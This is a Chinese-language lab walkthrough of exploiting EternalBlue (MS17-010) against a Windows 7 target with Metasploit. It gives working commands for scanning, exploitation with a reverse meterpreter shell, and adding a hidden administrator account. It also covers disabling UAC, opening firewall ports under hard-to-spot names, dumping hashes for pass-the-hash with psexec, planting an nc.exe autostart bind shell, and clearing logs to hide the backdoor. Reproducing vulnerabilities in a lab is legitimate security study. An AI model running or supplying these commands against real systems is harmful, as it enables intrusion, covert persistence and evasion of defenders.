一、背景
简介
永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
原理
永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
SMB协议
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
二、实现过程
准备阶段
永恒之蓝漏洞的编号
CVE-2017-0146 MS17-010 可以根据编号去Microsoft官方或者国家信息安全漏洞库查找相关信息
本次实验使用的是靶场环境是Windows7旗舰版SP1-64位
首先进入kali的metasploit,输入search ms17-010查看漏洞的相关模块
实际上的模块就几个,下面的全部\_target:格式的都同属一个模块,只不过是对不同的系统的对策
先使用24号auxiliary/scanner/smb/smb_ms17_010对目标机进行扫描,查看一下是否存在符合的漏洞
use 24进入该模块
show options 查看该模块具体参数信息
划红线的位置RHOSTS参数,是必须设置的,但是是空的,所以我们需要设置目标机的IP地址给RHOSTS
set 192.168.47.130
检查完没有需要更改和设定的参数后直接run运行
出现了绿色的加号,一般就表示成功了,记录显示目标很大可能存在MS17-010漏洞以及目标机的版本
可能有些人会遇到扫描出来没有绿色加号这一行,也就是扫描失败了。有一种方法可以尝试一下,将靶机的网络活动网络从公用网络改为家庭或工作网络,这样的话防火墙的力度没那么强,应该就能扫描出来了。
渗透攻击阶段
有这个漏洞可以利用,接下来就该尝试攻击了,攻击我们使用的是exploit模块,从之前找到的模块中选择windows/smb/ms17_010_eternalblue(永恒之蓝)
自动给我们指定了一个payload,这个payload针对的是windows系统x64位的使用meterpreter的基于TCP的反弹连接shell
我们先查看需要设置的参数
可以根据Description来确定参数需要指定什么,这里我们先设置RHOSTS为目标机IP
payloads由于会反弹连接本机,所以设定LHOST时就输入kali虚拟机的IP端口随便设定一个没有被占用的端口就行
最下面的target,可以用show targets命令查看所有的target,就是攻击目标机的版本信息,如果能够指定完全匹配的版本信息,可以很大程度的增加成功率
运行之后,可能会有各种各样的结果,有可能参数设置正确依然没有成功,多试几次,找找问题
以下是遇到的其中一个情况,导致靶机蓝屏,所以手动中断模块重启靶机重新实验
重启靶机后再次运行,成功进入meterpreter模块,这就表明成功的利用漏洞入侵了靶机并建立了连接
使用shell命令,进入靶机的shell(由于靶机和kali的编码方式不一致,出现乱码,对于window系统,可以输入chcp 65001解决乱码问题)
查看自己的权限(已成功获得windows的最高权限system权限)
可以在这里去访问查看靶机的各个位置的所有信息,这里就不一一演示了
先退出shell,回到meterpreter模块
远程桌面监控
使用run vnc命令,该命令可以能够在目标机上运行一个交互式的远程图形化工具,让你能够从kali机上监控靶机的一举一动,理论上应该是没有问题的。
但是,实际运行过程中还是遇到了问题,以下是猜测的可能的问题和尝试的解决办法
如靶机可能默认桌面被锁定无法访问到桌面 meterpreter > run screen_unlock
杀毒软件可以阻止攻击过程 meterpreter > run killav
目标可能不允许远程连接(可以查看靶机确认 ) run post/windows/manage/enable_rdp
最终还是无法解决,总是因为不知道的原因,提示自动关闭了连接
尝试换一种远程桌面控制方法,这里用到的是rdesktop,如果kali没有就自己在命令行下载
首先我们进入靶机的shell中,先增加一个新用户,方便我们登录,并给它分配管理员权限(使用),然后将其添加到"远程桌面用户"组中
添加用户命令:net user hacker 123123 /add
加入用户组命令:net localgroup administrators hacker /add
新开启一个终端,输入rdesktop 192.168.47.130
由于我之前开启过,所以直接弹出来了,如果从来没运行过,应该是会弹出询问你是否信任该连接
输入yes就行了
以上是通过rdesktop连接到靶机的过程,并且在test用户的桌面创建了一个文本文件里面写着hello,world!
回到LZB用户后,可以查看test用户的桌面文件夹,确实存在
但这个rdesktop相比于之前的vnc,它太容易被发现了,有条件的还是尝试vnc
后渗透阶段
这个文件是Windows系统保存账户密码信息的文件,已经通过加密,并且在靶机上以system权限运行了
我们可以在meterpreter模块通过hashdump命令直接获取
这就是目标机的已有的账号信息,可以通过kali自带的工具暴力破解
我们尝试关闭靶机的主机防护策略并开启后门
我们先建立一条防火墙规则,允许4444端口访问网络,否则我们建立session时payload不能通过4444端口访问网络导致建立连接失败
netsh firewall add portopening TCP 4444 "test" ENABLE ALL 其中的test是防火墙规则名字,可以根据目标机内部进程名等信息,设置一个比较难以被发现的名字
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
添加一个注册表项 /v创建键值 /t键值类型 /d键值的值 /f强制
开启Windows的主机默认共享,这个功能对于文件共享很方便,但也方便黑客利用
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
扩展:psexec 实用程序在远程系统上需要做一些事情:服务器消息块(SMB)服务必须可用并且可以访问(例如,未被防火墙阻止);必须启用文件和打印共享。Admin$ 共享必须可用并且可以访问。它是一个隐藏的 SMB 共享,它映射到 Windows目录,用于软件部署。提供给 psexec 实用程序的凭据有访问 Admin$ 共享的权限。psexec的可执行文件内有 Windows服务映像。它接受此服务并将署到远程计算机上的 Admin$ 共享中。然后,它使用SMB上的 DCE/RPC(分布式计算环境/远程调用)接口来访问 Windows Service Control Manager APl。它将打开远程计算机上的 psexec服务,然后psexec服务创建一个可用于将命令发送到系统的命名管道。“
use exploit/windows/smb/psexec
设置目标机IP,用户,密码直接用之前查看的hash值,如果不在域中,就可以不设置SMBDomain
再次拿到权限
上传一个后门文件到靶机上
kali的/usr/share/windows-binaries/nc.exe就是一个后门文件
到上传位置查看nc.exe是否上传成功
然后注册表增加开机自启动nc.exe的项
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\nc.exe -Ldp 443 -e cmd.exe'
L表示用户退出登录后重新监听端口 d表示后台运行 p表示端口号即后面的443 -e连接成功后立刻执行cmd.exe
即使永恒之蓝漏洞被修复,依然可以通过这个后门连接目标机。为了防止防火墙阻止,在防火墙规则上新增一条允许443端口访问网络
netsh firewall add portopening TCP 443 "backdoor" ENABLE ALL
重启虚拟机,可用shutdown -r -f -t 0 -r重启 -f强制 -t 0时间0秒后执行
重启时连接自动中断
重启后通过nc连接目标机
在目标机用netstat查看进程,发现确实有一个连接用443端口连接kali的进程
系统日志清理
为了不让目标机通过日志文件来找到我们设置的后门,可以清楚掉目标机的
这个命令会删除掉所有的日志,一劳永逸,让别人找不到具体问题,但是会也很容易让人发现,一些喜欢定期清理以腾出空间的人可能会发现不了。
三、总结
这次的漏洞复现涉及的比较多,还有些地方是你的参数和各种需求的前置条件都完成了也依然会失败,所以需要更多的耐心和细心,对遇到的问题,需要多找各种资料和别人的经验分享来尝试,如果找不到解决方法,就要尝试找替代的方法。